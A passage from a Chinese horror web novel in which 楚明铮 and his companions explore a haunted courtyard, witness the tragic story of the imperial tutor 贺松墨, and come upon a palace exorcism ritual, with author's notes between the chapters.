楚朝显然也看到了桌面上的字迹,他略显惊惧的来回看了看周遭环境,求助性的往楚明铮身边靠:“为什么说我们走不了,妈妈,我不想留在这里。” 楚明铮不出声,目不转睛的盯着仙鹤兄那张诡异的面具看。 “方便摘下面具让我看看吗?”楚明铮忽然道。 这话一出,仙鹤兄活像被针扎了似的,向后极端警惕的一跳,就差把不方便三个字写在面具上了。 “一般来说人们在特定场所遮掩面容,要么是为了参加假面聚会,要么就是为了避免他人认出自己。”楚明铮单手叩击着桌面,云淡风轻道。 “你这个场所,显然可以排除掉假面舞会的选项了。” “那么,你是在躲避谁?”楚明铮一字一句的逼问。 仙鹤兄猛然从矮桌旁边起身,转头就往屋外跑。 楚明铮哪里肯给他机会,伸手便抓他肩头,不由分说将人一把扯了回来,拎着衣襟丢回了蒲团上。 仙鹤兄的胸膛在剧烈喘息着。 “这个四合院里除了你,我,楚朝,还有这两个小朋友以外,难道还有别的人?”楚明铮居高临下,慢斯条理的问道。 仙鹤兄拼命摇头,那双枯瘦的手死死按在自己面具上,生怕楚明铮一个没耐心,直接上手给他把面具抢下来。 “没有啊。”楚明铮作仔细思考状:“那你在害怕什么呢?” 就在两人对峙的光景里,周围光线徐徐黯淡下来,先是头顶云雾聚拢,紧接着浓郁的雾气越来越暗沉,直至彻底乌黑。 楚明铮抬头看去,心道这是什么情况? 楚朝发挥作用感知了一下,很快对楚明铮道:“妈妈,这是太阳落山了,四合院这个空间里的天黑了。” 天黑了? 在所有以恐怖为主题基调的副本里,天黑都绝对不是一个好兆头。 四合院的天黑了以后会发生什么呢? 谁也不知道。 楚明铮的心里陡然升起一线不详的预感。 身后传来一阵“咯吱咯吱……”仿佛是骨肉在生长的声音。 一大片的阴影自楚明铮的背后高耸而起,很快笼罩了他的身形。 仙鹤兄周身抖如糠筛,连滚带爬的推开楚明铮,不要命似的向前狂奔而去,转眼就在屋外消失了身形。 楚朝惊叫一声,倏然躲到楚明铮身后,手指向前,声音颤抖:“妈妈妈……” 楚明铮将他往身后一护,随即转过身去,直面那两道浓郁的阴影。 只见方才还坐在矮桌旁边的两个小男孩,他们的身形和骨骼正以一个极其恐怖的速度飞快生长,不多时就从小男孩的体格迅速成长为成年男子,身上的长袍也随之变大变宽,两人低头立在楚明铮面前,裸露出来的皮肤苍白如雪,瘦的像活人干。 看上去瘆人的要命。 楚朝指着弟弟的方向,战战兢兢的问楚明铮:“妈妈,你看他的衣服有没有觉得有点眼熟……” 黑色长袍,玄金花纹。 正是不久前棺材里,那个木雕男尸的衣着打扮。 看样子弟弟就是一层墓葬里的王爷,小时候跟哥哥一起在仙鹤兄这里求学,长大后就被哥哥砍了头,脖颈上还按了一个木雕脑袋,以惨烈的姿态下葬。 哥哥穿的是明黄色外袍长衫,看衣着倒是天子气势十足,就是脸色差的惊人。 他跟弟弟一样,都是一副极尽苍白的死人面容,一黑一黄,森然而立。 楚明铮将楚朝护至身后,跟这二鬼冷冷对视。 下一个瞬间,二鬼同时露出血盆大口,袍袖翻涌,幕天席地直直冲着楚明铮撞射而来。 楚明铮将楚朝往门槛方向一推:“快跑!” 将楚朝推出去的刹那,楚明铮单手握着戒尺,悍然回身,戒尺顶端坚硬如铁,虽然不抵匕首锋芒毕露,但楚明铮力道极稳,扬尺直挑哥哥咽喉,逼着他倒退几步,不得近身。 戒尺在半空中划过的瞬间,余势更猛,尺端末梢顺带刺向弟弟脖颈。 黑色长袍的弟弟果然脸色大变,行为举止下意识回护脖颈,那曾是他生前被斩首的部位。 楚明铮一见此举,就知道自己猜测没错,弟弟跟一层墓葬的木雕脑袋男人是同一个人,现在只是以不同时空的不同形态,同时分散在副本的各个角落,他的弱点是一样的,都是头颅,所以楚明铮下手极狠,直攻他的脖颈。 楚朝跑了两步,还是不放心楚明铮,又撤身返回,捞起茶盏用力往哥哥身上一砸,大喊一声:“妈妈,这边!” 楚明铮旋身飞奔而出。 此时的院落已经被浓重的夜色所铺满了,楼上楼下密密麻麻全是浓雾,只有走廊尽头一盏凄风苦雨的烛灯还亮着,隐约能让他们看清楚周围的景象。 哥哥和弟弟很快就沿着屋内追了出来,楚明铮带着楚朝跳上阁楼躲藏,两个死人显然没有他俩这么灵活,像两只没头苍蝇一样,四处乱转。 楚明铮很快发现事情不对。 这对兄弟俩的目标好像并不是他跟楚朝。 他们晃悠着在院子里转了一圈,然后不约而同,朝着仙鹤兄藏身的偏屋里去了。 这四合院的门板和房梁都老化了,木门也是摇摇欲坠,皇家兄弟俩站在屋前,抬起沉重的拳头,没砸几下,木门便应声而裂,里边传来仙鹤兄惊惧至极的叫喊声。 楚明铮一怔,心道你原来不是哑巴啊。 仙鹤兄的声音很年轻,不粗也不细,如果不是过度的惊恐将他逼的格外失态的话,那声音应该属于很好听的那类型里。 他被兄弟俩一前一后的扛着从屋里出来了。 末了又放回到地上,两个成年男人仍然像小时候一样,一左一右抓着老师的两只手臂,疯狂摇晃拉扯,用力之大,几乎要将仙鹤兄整个人撕成两半。 楚明铮最开始没搞懂这是一个什么情况。 直到仙鹤兄站在院子中央,发出更加激烈的惨叫声,仿佛要被他俩撕成两半了,手臂和外表皮几乎要从内部组织到外部结构一起生生扯断。 楚明铮这才反应过来这俩鬼弟兄并不是在跟老师撒娇,而是真的打算给老师来个“二马分尸”。 就在仙鹤兄即将支撑不住,手臂快要从身上脱落的时候—— 一道穿着冲锋衣的漆黑身影当空一跃而下!稳准狠的跳在弟弟的肩膀上,楚明铮在空中长臂一展,手中戒尺嗖嗖翻飞,直抽哥哥攥住仙鹤兄的那只手手腕,“啪!”的一声脆响,楚明铮抄着戒尺直接打断了哥哥的手骨。 仙鹤兄受制约的右半边肩膀瞬间脱力下来,踉踉跄跄的朝弟弟那边被拽去。 楚明铮毫不客气,踩在弟弟肩头,换了个方向,将手中戒尺变打为砍,尺柄一立,作砍刀状,直接抹了弟弟的脖子。 兄弟俩接连负伤,却都不依不饶,一边痛叫着,一边毫不怠慢的上前继续捉拿仙鹤兄。 楚明铮轻快的从弟弟身上一跃而下,拉起仙鹤兄的手,带着他玩命奔逃。 “我说仙鹤兄,你干什么惹着这两人了,非要将你两马分尸不可?”楚明铮气喘吁吁的拖着他跑,时不时将他甩出去几步,自己回身跟两弟兄过几招。 仙鹤兄低头不语,瘦削的侧影看起来伤感又无奈。 楚明铮比他更无奈:“你总得告诉我缘由,我才能帮你啊。” 仙鹤兄后退几步,一副不想连累楚明铮的样子。 楚明铮心头火起,怒道:“别离开我的保护范围,你也不想想,你要是死了,他们会放过我吗?” 仙鹤兄难过的透过面具跟楚明铮对视,然后开口讲了他跟楚明铮说的第一句话。 “只有我死了,他们才会离开。” 楚明铮一愣,一个错神的功夫,兄弟俩从楚明铮身侧瞬移而过,再次一把抓住了仙鹤兄的左右臂膀,这一次仙鹤兄没出声,也没挣扎反抗。 倏然一下,就被两只穷凶极恶的冤鬼撕扯开了身躯,汹涌血水哗啦一下从他瘦削的躯干里喷涌出来,溅了楚明铮一身。 楚明铮清晰的听见那兄弟二人在自己面前,一边极迫切的将仙鹤兄的血肉往自己怀里扒拉,一边嘴里浑浑噩噩念念有词。 “我的,我的,师父是我的……” “不对,我的比你的多,师父是我的……” “我的!” “我的!” 两人你一争我一抢,抢着抢着就在仙鹤兄的血肉里再次厮打起来,也完全没顾得上楚明铮和楚朝,打的天昏地暗,不分昼夜。 楚明铮的脸上沾满了仙鹤兄的血肉。 那滚烫的血水晕染进他的皮肤里,楚明铮忽然感到一阵尖锐的头疼,他扶着楚朝的手臂,缓缓向后靠了片刻。 大片大片虚无的光影透过历史的沙尘朝他扑面而来。 楚明铮晕晕沉沉的,再有意识时,他仿佛置身于一个昏暗的牢房,周围全是刑具和铺散开来的稻草。 这是一个梦境,梦境里笼罩着浓浓的血雾。 血雾的最中间,是一个遍体鳞伤的年轻男人,他很清瘦,愈w宴被打的已经看不出人形了。 …… “陛下,所有刑罚都上遍了,此人还是不肯承认,他与王爷共谋谋反一事。” “外边朝臣都吵翻天了,都纷纷上奏,逆贼造反乃是应立即诛杀的大罪,求您切莫念及旧情,莫要放贺松墨一条生路。” 帝王站在大理寺血腥惨淡的牢狱里,低头沉吟:“可贺松墨毕竟是朕与王爷自小的老师,朕兄弟二人,都是由他一手教养长大,真要让朕对此人痛下杀手,朕做不到。” “哎呦我的陛下!”大太监尖声尖气的劝道:“这都什么时候了,王爷那厢可是都承认了,说就是此人撺掇的他谋反,您怎能在这种时候顾念师生旧情?” “人证物证俱在,再加上王爷府上下人的口供,已经将贺松墨钉死的不能再死了,还请陛下明鉴!” “行了,下去吧。”帝王疲倦的挥挥手:“朕有话单独跟贺松墨说。” 太监虽然心急,但是终究不敢太过逾矩,低头应了一声,便退出去了。 帝王注视着那个被束缚在刑架上的男人,叹息般的喊了一声:“老师。” 贺松墨迷蒙的张开眼,气若游丝:“陛下……” “已经到这种地步了,老师还是不肯招供么?” 贺松墨靠在刑架上,双臂皆被束缚的死紧,清俊的面容上全是被鞭子抽出来的血痕,他已经很虚弱了,但还是强撑着自己应对道:“子虚乌有的事情,何来招供一说?” 帝王沉默片刻,开口提醒道:“昭王已经交代了,说就是老师让他谋反的,老师就心甘情愿认下这个罪名,然后以谋逆大罪被处死,受后世谩骂千年么?” 贺松墨的一双眼睛里全是血雾,已经看不太真切了。 过了很久,他才几不可察的叹一声:“我认。” 帝王失望的移开目光:“从年少时您就是这样,毫无缘由的偏宠弟弟。” “可明明朕才是天子,您从不多看朕一眼,如今为了包庇弟弟的罪行,您甚至不惜自己将诛九族的大罪背了,下狱受遍酷刑都不肯改口。” 贺松墨嘴角划过血线,断断续续的道:“我只是不愿看到你们……手足相残……” 帝王嘲讽的笑了一声:“老师,此话与天方夜谭有何区别?” 贺松墨闭上眼睛不说话了。 帝王站在刑架面前,看着眼前这个鲜血淋漓的男人,轻声道:“您何至于此。” “只要您改口,向我表态,说其实就是弟弟一人谋反,您从头到尾都不知晓此事,我便立刻放老师出去,老师也不用受这皮肉之苦了。” 贺松墨依旧不答话。 “我只要老师的一句话。”帝王到最后几乎是在哀求着加重语气了。 刑架上的人悄无声息。 帝王半是恐惧,半是期待的抬起头,却见贺松墨脑袋无力的歪向一边,已经没了声息。 “老师?老师!快来人!传太医!”帝王回身怒吼。 一众宫人行色匆匆,纷纷按指示办事,给贺松墨解绳索的解绳索,召太医的召太医,忙活半宿,然而都无济于事。 贺松墨入狱数月,早已被无数酷刑将身体折磨致残,能强撑到今日帝王来看他最后一眼,已经是回光返照了。 他终于在今夜咽下了最后一口气,也终于解脱了—— 作者有话说:这个副本还得一段哈,如果看不懂的话不要担心,贺松墨的故事还没讲完[爆哭]内容太多了,一章实在塞不下。 贺松墨其实算是楚明铮的对照组,他俩都是给人当老师的,反正看到后面就知道了[狗头叼玫瑰]我写到四点多已经快力竭了!要讲的内容还没讲完,只好明天见了[爆哭] 人生啊[爆哭] and我尽快推剧情,让齐栩赶紧出场,感觉已经好久不见他了 第84章 血池棺林(十三) 这是一个镇压厉鬼的…… 楚明铮仿佛一个骤然被解救上岸的溺水者,肺腔和吐息里全是歇斯底里的阴冷气息。 他连声呛咳着,从死人的回忆里脱身出来,一时间头痛欲裂,话都说不全。 再有意识的时候,他已经被楚朝扶着,脚步虚软,倏然跪倒在四合院里的廊柱下了。 楚明铮眼睛里一片血雾,他还没从贺松墨临死前的记忆里彻底抽离出来,浑身上下疼的厉害,楚朝拼命将他从地上拉拽起来,一迭声的在他耳边喊“妈妈”,阻止他睡过去。 过了很长时间,楚明铮才气息虚弱的从巨大的阴气漩涡里回过神来,他一手扒住楚朝的衣服,一手撑地,让自己在四合院的地面上勉强坐稳了。 眼中血雾逐渐消散,楚明铮终于看清了他们眼下所处的位置。 这里正是他们从第二层墓葬进来的那方四合院,也就是他俩跟大部队失散的地方,仙鹤兄和皇家兄弟二人全都消失了,不远处就是二层墓葬刑架列队那黑漆漆的入口。 他们又从幻境里被扔出来了。 楚明铮坐在地面上,心里难得升起一丝倒霉的气馁情绪。 他还从来没在副本里这样被动过,居然眼睁睁的看着仙鹤兄,或者是说贺松墨在自己面前被撕成了两半,而自己自始至终都没有从这位当事人的嘴里撬出点更有用的信息。 “妈妈,看到什么了?”楚朝焦虑的问他。 楚明铮沉默片刻,总结道:“仙鹤兄本名贺松墨,是古代某位皇帝的老师。” “贺松墨从小带着皇帝,跟皇帝的弟弟长大,你可以理解为皇家私塾先生,太傅一类的职务,他一个人教两个学生,就是皇帝跟皇帝的弟弟,那个黑色袍子的王爷。” “后来王爷长大以后想谋反,夺哥哥的天下,无奈事情败露,于是王爷把所有罪责全推卸到了老师贺松墨的身上,辩解说是老师撺掇的自己谋反,也是老师辅助自己,做自己谋反军师的。” “然后……”楚明铮头疼的揉了一下太阳穴:“等一下我想不起来了,刚才牢狱里血腥气太重,我有点晕。” “没事妈妈,你慢点说。”楚朝在旁边安抚。 “但是皇帝其实知道贺松墨是无辜的,知道他只是想给王爷担罪责而已,皇帝对他这个思想很窝火,他觉得老师更偏向弟弟,明明是王爷要谋反篡位,但是贺松墨却始终不愿意他们手足相残,所以打死不松口王爷谋反的事实,以一己之力将罪责担下来。” 楚明铮说着说着,也觉得这仙鹤兄脑子有毛病,人能活为什么要死,非要同皇帝对着干。 “于是皇帝一直将贺松墨关进牢里用刑,就为了逼贺松墨承认,王爷谋反。” 楚朝听的茫然:“最后呢?” “最后贺松墨在牢里死了。”楚明铮一摊手:“再然后我就出来了。” “仙鹤兄就是贺松墨?”楚朝确认道。 “是的。”楚明铮一边回答,一边想起了仙鹤兄的那袭冷色青衫。 楚朝站在回廊旁边,隔了好久才说第二句话。 “妈妈。”这鬼少年慎重道:“我觉得仙鹤兄的这个故事,倒是颇为熟悉啊……” “你好好说话,别整这些古风用词,我听了牙疼。”楚明铮呵斥一声,这才问:“哪里熟悉了?” “一个年长的师父,两个年幼的追随者徒弟。”楚朝摊开两手,一边放一掌给他示意:“然后师父偏爱小徒弟,大徒弟得权势后反过来报复师父……” “这不就是你跟我爸的故事吗?!” 楚明铮:“……” “可是我没有小徒弟。”楚明铮恶狠狠的道:“我没有除了你爸之外的第二个徒弟。” “哦,所以副本里王爷的角色对应的就是小妙姨妈啊!我虽然出生的晚,但是我爸小时候跟小妙姨妈争风吃醋的往事,我还是有所耳闻的!” “我至今不知道你到底是爱我爸多一点,还是爱小妙姨妈多一点?” 楚明铮:“……” 看楚明铮的表情,他现在颇想把儿子打包团成球状物,然后投掷出地球,飞向外太空。 母子二人大眼瞪小眼,互不相让。 “那是你爸小时候脑子有病!”此事最终以楚明铮被气的一个仰倒告终。 隔壁偏屋的门板咯吱咯吱发出一阵瘆人的响动声,楚明铮和楚朝同时回过头去看,只见门板从里侧轰然砸开,稀里哗啦滚出三个狼狈不堪的人影。 那三人正是负责在西偏屋寻找线索的大徐,乔文,和李子树。 这三人的狼狈情态不输楚明铮和楚朝,衣服上滚满了灰尘,大徐还好一点,乔文和李子树简直跟进去之前不像同一个人,他俩脸上沾满了墨汁。 乔文左脸烙印了偌大一块墨渍,李子树右脸活像是被拍了一整块墨盒上去。 两人顶着这个大花脸十分冲撞的狂奔出来,嘴里还“啊啊啊”的尖叫一路。 “大徐哥!大徐哥你没事吧?”李子树好不容易从门槛里冲出来,一个踉跄没站稳脚,直接面朝土地摔翻下去了。 楚明铮坐的离他远了些,看着他摔倒在地,有心出手相扶,奈何有心无力,只好看着这三人四仰八叉的在地面上摔成一团。 大徐呲牙咧嘴的躺在地上,一抬眼就看见了楚明铮,不觉悲从中来:“楚哥……快快快,来扶我一把,哎呦我的腿……” 楚明铮挥手示意楚朝上去将他徐叔从地上扒拉起来。 “什么情况啊你们这是?”楚朝一边过去把这三人都扶好拎起来,一边好奇的问:“徐叔,你们遇到什么了?” 大徐好不容易喘过一口气,带着两个满脸都是墨水的小年轻,欲哭无泪的坐到了楚明铮对面,李子树跟乔文争先恐后的顶着一脸滑稽的墨水,开始同楚明铮大倒苦水。 “楚哥!楚哥你根本不知道我们经历了什么!” “我的天啊,那个小鬼孩子太可怕了,他抄着砚台满屋子追着我们三个打!” “还拿蘸满墨汁的毛笔往我们三个眼睛里戳!” “总之我们三个被他和他父亲在那个幻境里折磨了整整一天!嫌我们不会作诗,又嫌我们不通文墨!” 三个人七嘴八舌的控诉着,楚明铮听的一头雾水,伸手做了一个打断的手势,然后他转头望向大徐:“你来说,说究竟具体发生什么事了?” 大徐把他们这两天的遭遇简单汇总了一下,给楚明铮一五一十的说了。 具体情况说复杂倒也不复杂。 简而言之就是这三个人进入了西偏屋查找了一番线索之后,再出来就跟楚明铮他们一样,发现自己身处的环境变了,他们三个被投放到了一间贫寒的乡村农舍,农舍的院落里养着鸡鸭和小狗,叽叽喳喳的十分热闹。 大徐瞬间明白这是怎么回事了,副本这是把他们一队人平均分成了几拨,分不同批次传送到不同的幻境里去让他们找线索。 他带着李子树和乔文,一行三人小心翼翼的在农舍里转了几圈,发现这就跟最寻常的农村田舍没有区别,唯一不同的是,这间农舍的最里侧,安置着一方简陋却清幽的书房。 大徐是个老手,对某些地方有直觉,他下意识觉得线索肯定在那间书房里。 于是他带着李子树和乔文直奔书房。 刚一进门,迎面就撞上一个模样清秀的小男孩从书桌前起来,见到这几个不速之客也并不惊慌,平和而有礼。 这小男孩一副小秀才的书生模样,将他们三个请进来后,也不多说别的,直接在书桌上铺开笔墨和宣纸。 挥笔写就一行飘秀俊逸的字迹,然后将宣纸推到他们三个面前,又将毛笔递给为首的大徐。 大徐定睛一看,只见纸卷上写了一行诗,从音律上来分辨,应该是句上阙。 清秀的男孩默立原地,不出声的等待着大徐的回应。 大徐花了好一会儿功夫才意识到一个恐怖的事情。 面前的这个古代男孩,给他出了一句上阙,现在要他对出下联! 不是,什么玩意儿?! 想在副本里活命,还需要面对这种考题! 大徐目瞪口呆。 天地良心,他是一个高考语文不到七十分的体育生,大学还没上满一年就被卷入副本,最后不得不中途辍学的文化洼地选手! 现在要他对出这首诗的下联? 副本是不是有点太为难人了! 大徐捏着毛笔杆,冷汗直出,颤颤巍巍的转头去问李子树和乔文,哪料这两位也是个不靠谱的,面面相觑,三人竟没一个能对上来的。 “万壑辞青归寂寥。”乔文牙齿打颤:“下一句能接什么,你们倒是说话啊……” “我语文从小倒数第一你又不是不知道……”李子树的牙齿比他哆嗦的更剧烈:“徐哥,快想想办法,我们要是对不出来,他不会弄死我们吧?” “早知道当年好好学语文了。”乔文悲愤道。 关键时刻还得是大徐出马,大徐此人虽然文学造诣不咋地,但是人家胆子大。 本着要么对,要么死的原则,大徐悍然挥笔! “万壑辞青归寂廖,长江大河向东流!” 小秀才接过宣纸,仔细研读了一下此人的大作,当即气不打一处来,将大徐手中毛笔一把抢过,“唰唰”两下将“长江大河向东流”几个字打了个巨大的叉叉。 末了在旁边批阅道:狗屁不通! 大徐:“……” 李子树:“……” 乔文:“……” 小秀才越想越气,深深觉得世间怎能有作诗作的如此荒谬的鬼才,简直不容于世,论罪当诛,遂抄起砚墨满屋子将这三个文盲赶着追打起来。 大徐和李子树乔文跳起来就跑,他们三个大男人被一个小男童追打的连裤子都顾不上提,好不狼狈。 双方拉锯战一直持续到中午,小秀才这才终于没力气,将膝盖一拍,回屋子睡觉去了。 文盲三人组蹲在鸡舍里藏身,一边探头探脑的查看小秀才是不是真的回屋去了,一边聚在一起小声蛐蛐。 “我觉得这个幻境里的鬼,好像没什么杀伤力啊……追了我们这么久,都没有伤我们性命。”李子树低声道。 乔文不赞同:“万一人家是觉得徐哥此诗,文词上虽然尚有提升空间,但仍然不掩才气,总体而言孺子可教,想留我们一命呢?” 大徐抱着一旁的老母鸡给了他一脚:“去你的。” 三人鬼鬼祟祟的猫在鸡舍里,打算猫到天黑,等这孩子睡了,再出院门看看情况。 然而书房彻夜烛火通明,房中隐约有朗朗书声传来。 “这小孩为何这么用功?”乔文靠在鸡舍脏兮兮的墙壁上,精神萎靡,困的眼睛都快睁不开了。 “他都读了一下午书了,也该睡了吧……” 大徐“嗯”了一声,细听道:“刚才那些应该是今天的新内容,他现在又开始背下午读过的篇目了,可能是临睡前的温习流程。” 李子树痛苦面具十分狰狞:“天啊,这得学到什么时候去?” “我当年高考要是有此等毅力,那哈佛耶鲁都是我的囊中之物。”李子树困的昏昏欲睡,昏沉之中,一屁股险些坐进鸡屎堆里去。 大徐一不做二不休,将两个年轻人一拽,下决心道:“行了,不等他了,咱们绕个路,翻到后院去看看。” “这么一直干等着,好像也不是个事。” 于是文盲三人组蹑手蹑脚的从鸡舍里爬出来,刚要绕路去后院,走到中途的时候,迎面撞上个农夫模样的汉子,手里拎着锄头,看起来刚从地里回来。 大徐尴尬的朝那男人笑了笑:“嗨,那个……我们仨路过来着,现在就走,现在就走。” 三个人一边唯唯诺诺的道歉,一边往后退去。 然而下一秒,男人毫不客气,伸出锄头将三人去路一拦,又朝他们三个一侧头,示意跟我走。 李子树跟乔文在大徐身后惊恐的对视一眼,直觉他们跟着这个男人走,不会发生什么好事情。 但是此时无路可退,三人只好硬着头皮跟了过去。 男人把他们三个引到了小男孩所在的书房里,拿起小男孩的书卷,开始抽背他今日的功课。 小秀才摇头晃脑的背了起来,抑扬顿挫,流利十足:“天地玄黄,宇宙洪荒,日月盈昃,辰宿列张,寒来暑往,秋收冬藏。闰余成岁,律吕调阳。云腾致雨,露结为霜……” 文盲三人组像三只战战兢兢的鹌鹑,缩着脑袋站在原地,直觉接下来的事情不会太妙。 果然,小秀才背完以后,父子二人便同时将目光转到他们三个身上。 大徐一阵牙疼:“……我们三个也要背吗?” 父子两人阴沉着点了点头。 “可是我们三个没学过……”乔文缩在墙角小声讨饶:“两位大哥,小弟已经毕业多年,再说你这《千字文》是小学课本内容啊,我仨都快三十岁的人了,这这这……” “把我们三个的脑浆打出来,我们也背不了啊……” 汉子重重一挥锄头,警示意味十足的扫视了他们一眼。 大徐猛然将李子树和乔文往身后一按,大义凛然的壮烈道:“不必!我来试试,我刚才听他背的时候,速记了几句,我试试!” 李子树和乔文热泪盈眶,心说徐哥真是人民的好大哥啊!危机时刻出手相救的恩情,小弟二人永世难忘,必然铭记于心,出去以后给你当牛做马一辈子都行! 大徐深吸一口气,铿锵有力的开口了。 “天地蛋黄,宇宙飞船,撞击日月,睡觉扩张,寒来暑往,秋天麦浪,冬天有雪,夏天冰箱,若我在家,空调奔忙,若我不在,电费白涨……” 李子树:“……” 乔文:“……” 哥,我求你了,闭嘴吧。 你没看见旁边那对父子俩的脸已经变成黑色的了吗! 大徐摇头晃脑的背到一半,父亲骤然抄起锄头向他砸来!乔文尖叫着一把扯开大徐,三人沿着走道一路狂奔,吓得魂不守舍。 文盲三人组一路跑,上阵父子兵一路追,直将小小的一方农舍闹的鸡飞狗跳,险些翻了天。 最后他们三人连滚带爬冲出了院门外,紧接着又稀里糊涂的回到四合院里了。 楚明铮和楚朝听的目瞪口呆。 “大徐叔叔,你居然还有如此本领,粗中有细,是个文化人儿啊!”楚朝出声赞叹。 楚明铮深吸一口气,无奈扶额:“儿子,你要是编不出来夸人的话,可以不夸的。” 大徐辩解:“我能对出几句诗编出一段千字文已经很了不起了好吗,我靠我的古文功底,足足把他俩拖了十来秒呢!” “所以你们三个进去之后,跟人家拉扯了两天,什么信息都没找到?”楚明铮问。 “那不是。”大徐终于正色道:“那还是找到了一点线索的。” “说。”楚明铮命令。 “我们见到的小秀才,书房里宣纸上文章落款的名字就叫贺松墨,那个拿锄头严厉逼他读书的男人,应该是他父亲。”大徐说。 “农舍条件很差,贺松墨也是贫苦出身,从那样底层的地方,到后来能有仙鹤图这等佳作流传于世,我猜他后边的人生应该还算坦途,不枉他年少苦读,夜夜灯火通明,寒窗十载。” 楚明铮和楚朝对视一眼,想到后边被捆在刑架上虐杀至咽气的仙鹤兄,都不知道该说什么。 大徐汇报完毕,看了看楚明铮,又看了看楚朝,问道:“怎么了,你俩这个表情?” 楚明铮叹了口气,换了个话题开口道:“起码我们现在总结出这个四合院的分布原理了。” “这里一共三间屋子,主室,西偏房,东偏房。”楚明铮伸出三根手指头细数道:“每间屋子进去之后,会将闯入者传送进贺松墨固定的某段人生时间线里。” “大徐他们进入的那段,是贺松墨年少求学的时候,我跟阿朝进入的则是他长大后成为帝王老师,带着皇帝和王爷兄弟二人读书下棋习字的年月。” “现在就差老周了,不知道他进的是贺松墨的哪段人生?”大徐接话道:“等到老周出来,我们应该就能像拼拼图一样,把贺松墨的人生经历拼凑起来了。” 众人纷纷点头,曙光在前,都不由得松了一口气。 …… 他们在四合院里等老周,等了大概两三个小时,却还不见老周和陈靖出来,大徐有点坐不住了。 “楚哥,他俩怎么还没动静?” 楚明铮坐在原地,目光也时不时的往东偏屋的方向瞟,心里七上八下忐忑起来。 不应该啊,周自重在齐栩“篡位”之前能蝉联数任第一公会会长,其实力绝对不弱,他跟大徐都从房间幻境里安然无恙的出来了,周自重居然拖延了这么久? 此事有蹊跷。 楚明铮从地上站了起来,跟大徐交换了一下目光,两人几乎是顷刻间就做出了决定。 “走吧,进去看看。”楚明铮对他道。 楚朝自告奋勇也要跟着进去,被楚明铮一只手按下了:“不用,你留在这里,照看一下他们两个,等我们回来。” 楚朝只好闷闷不乐的应了。 李子树和乔文并不赞同现在进东偏屋去找人的行为,但是他俩在楚明铮面前还没那个提意见的胆子,于是抱团在身后瑟瑟发抖的叮嘱道:“楚哥小心啊,注意安全。” 楚明铮摆了摆手,跟大徐一道推开东偏屋的门,风声一凛,他俩进去的瞬间,东偏屋的木门随之关闭。 仿佛有人在身后用力推了一把似的。 空气中潮湿而冷然。 弥漫着挥之不去的烟熏缭绕。 楚明铮再次睁开眼睛时,首先映入眼帘的,是四面朱红色的围墙,从头顶上空收拢起来,映衬出一方小小的天地。 楚明铮再定睛一看,只见前方人头攒动,无数宫人伏跪在地,黑压压的一片。 再往前十余米处,立着一方巨大的祭坛,其上高束着数道五彩斑斓的旗帜,祭坛中浓烟滚滚,似乎在烧着什么东西。 五彩旗帜的中央,站着一位身披袈裟的僧人,正双手合十,放于胸前,口中念念有词。 他身后的其他僧人依次排列,站在祭坛之下。 楚明铮以前见过这种仪式。 这是一个镇压厉鬼的驱邪现场—— 作者有话说:我明天一定会结束这个副本的,最多后天[爆哭]呜呜呜写的太力竭了[爆哭] 第85章 血池棺林(完) “我师父不要我了。”…… 一只手横空从一旁伸了出来,将楚明铮和大徐连人带马拖到了附近的亭台背后。 楚明铮踉跄两步,回头就撞上了一身太监打扮的周自重。 “哦哟,你这什么扮相?”楚明铮讶异:“年过半百终于想开了,决定进行自我阉割了?” “去!”周自重低声呸道:“情况严峻,你也得换这身,快快快快点!” 大徐动作比楚明铮利索的多,三下五除二把太监的那身袍子换上了,再将小帽一扣,低下头去,瞬间融入了整个宫墙之内。 楚明铮一脸牙疼,两根手指拎着太监袍,小声吐槽道:“你这穿着衣服也不像啊。” “谁家太监跟大徐似的,要胡茬有胡茬,要喉结有喉结,还那么大一颗。” 大徐捂着下巴上青色的胡茬嘿嘿嘿的笑:“楚哥,你这是夸我有男人味了?” 楚明铮严肃点头:“你可以这么理解。” “哎呦——两个祖宗,现在是贫嘴的好时候吗,还不快穿上,待会儿咱躲到没人巡视的墙角去,我给你俩说说我们两个这两天的遭遇,那可真不是一两句话能说明白的。” 楚明铮没办法,只好也跟着在外衣上套了一层太监衣袍,扣上冠帽,往地上一蹲,跟着另外三人一起藏匿在跪拜的人群之中。 他一蹲下,周自重就急急开口:“老楚,我可算搞明白这个贺松墨是何许人物了。” “你看见前边那个祭坛了没有?还有他们举行的这个跳大神的仪式——” “那是和尚在念经!什么跳大神?” “哦有的,有的,这几个上台超度的僧人已经是第二轮了,巫婆也有,和尚也有,刚才我看在底下排队等上台的好像还有道士。” 楚明铮抽了抽嘴角,心说这是在干什么?百家争鸣吗? “对,反正这些人现在在此地各显神通,但都是为了镇压一人而来。”周自重深沉的看着他:“你知道是为了镇压谁的冤魂么?” “贺松墨。”楚明铮心不在焉的报名字。 “你怎么猜到的!是的没错,他们都是为了镇压贺松墨而来,你知道这又是怎么回事吗?” “一口气讲完,别卖关子,别说废话。” 周自重深吸一口气,开始了他的讲述。 “事情的起因是京城最近不太平,据说是几十位朝臣接连出事,暴毙在家中,刑狱那边查也没查出个所以然,没人知道原因,也没有任何预兆,就平白无故的死了。” “但是这些人有一个共同点,那就是他们全都上谏,弹劾过贺松墨。” “前些日子贺松墨在刑部牢狱里受不住酷刑,死了,半个月后弹劾过他的朝臣接连暴毙,现在朝廷中人人自危,都担心是贺松墨冤魂不散,前来报复。” “这不。”周自重给他们指了一下前方的宫墙之内的祭坛:“皇帝无奈,只好请了各路高人来做法事。” “为的就是驱逐贺松墨邪灵,让他不再迫害众臣。” 楚明铮拧眉思索,抬头严肃道:“我觉得贺松墨不太像是会死后报复的那类人。” 周自重了然:“看起来我被困在幻境里的这两天,你们另有奇遇。” “有,我们见了不同时空的贺松墨,而且据我所知,我们这三拨人中,只有你俩无缘见到活的贺松墨。” 周自重:“……” “但是我的信息是最重要的!”周自重怒道:“你到底听不听?” “听听听,你讲你的。” 周自重缓过一口气,继续道:“我跟陈靖一过来就穿成了这里的太监,跟着他们一起忙碌了两天,都在为驱邪大典做准备,也打探了不少消息。” “那王爷呢?你打探到王爷的结局了吗?”大徐追问。 “早死了。”周自重一摊手:“贺松墨在狱中去世的第二天,王爷就被带上刑场斩首示众了。” 楚明铮抬手招了招,示意他靠近来一点,低声问道:“虽然我历史不太好,但是据我所知皇室成员如果要被处死的话,寻常不都应该是毒酒或者白绫等体面一点的方式吗?” “我也觉得诧异。”周自重凝重道:“一般来说都是体面的手段处死,当然也有二般情况,那就是皇帝实在是对自家亲戚恨之入骨了,然后拉出去斩首……也不排除这种可能性。” 